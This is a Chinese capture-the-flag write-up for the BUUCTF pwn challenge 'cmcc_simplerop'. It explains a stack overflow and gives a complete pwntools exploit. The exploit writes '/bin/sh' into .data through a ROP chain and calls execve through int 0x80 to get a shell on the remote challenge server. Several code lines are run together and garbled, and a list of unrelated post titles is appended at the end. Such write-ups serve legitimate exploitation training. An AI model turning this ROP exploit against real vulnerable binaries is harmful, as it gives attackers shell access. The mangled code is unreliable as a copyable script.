[BUUCTF-pwn]——cmcc_simplerop

有栈溢出,自己找rop链,最简单的方法,让ROPgadget帮我们弄好呀,可是有点长,所有需要我们修改。毕竟有长度要求。因为“/bin/sh"字符串没有找到,所有这之前的都不动, 下面的pop eax; pop ebx; pop ecx; pop edx除了pop ebx 注意下,其他都可以进行修改 inc就是 ++

exploit

  • 目的:使得excve("/bin/sh") eax = 0xb; ebx ->"/bin/sh"; ecx = 0; edx = 0
from pwn import *
from struct import packcontext(os='linux',arch='i386',log_level='debug')#sh = process('./simplerop')
sh = remote("node3.buuoj.cn",28712)strcmp_got = 0x080EA038
pop_eax = 0x080bae06
pop_edx_ecx_ebx = 0x0806e850
p = 'A' * 32p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e850) # pop edx ecx ebx
p += p32(0) + p32(0)
p += pack('<I', 0x080ea060) # padding without overwrite ebxp += pack('<I', 0x080bae06) # pop eax ; ret
p += p32(0xb)
p += pack('<I', 0x080493e1) # int 0x80payload = p
sh.sendafter('Your input :',payload)
sh.interactive()

[BUUCTF-pwn]——cmcc_simplerop (ropchain)相关推荐

  1. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  2. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  3. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  4. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  5. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  6. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  7. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  8. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  9. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

最新文章

  1. 【Python】轻松识别文字,这款Python OCR库支持超过80种语言
  2. Webpack原理与实践
  3. open pwrite
  4. Linux下安装Redis并添加PHP扩展(自己测试了没有问题)
  5. AngularJS $watch 性能杀手
  6. 315. Count of Smaller Numbers After Self
  7. win10python3.6.3安装_Win10Python3.6安装impyla
  8. 卸载 Visual Studio 2005步骤
  9. Linux 内核修复5个高危漏洞
  10. 图文介绍进程和线程的区别
  11. 面试逻辑题分享--字母数字映射关系推算题
  12. Discuz的sc 和tc版本有什么区别
  13. centos7克隆机修改ip地址,并与另一台虚拟机ping起来
  14. 耗时10个小时用纯HTML和CSS写成的小兔鲜儿
  15. 如何制作一封高打开率的邮件?
  16. 项目管理中的项目干系人
  17. iOS-记一些官网地址
  18. python将图片帧生成视频
  19. 3601-lpk.dll劫持病毒分析
  20. 超声波传感器(单介绍超声波)

热门文章

  1. PHP LOG使用心得(2)
  2. oracle给每行加上序号,Oracle 根据分类字段给查询结果添加序号
  3. [数据库] SQL语句select简单记录总结
  4. HarmonyOS之深入解析自定义组件与布局的实现
  5. 210. 课程表 II
  6. Python eval的用法及注意事项
  7. VS2017断点调试
  8. freetds php mssql 中文乱码,PHP读取mssql json数据中文乱码的解决办法
  9. 模拟登录123026网站
  10. php生成首页 教程,简单静态页生成 过程_PHP教程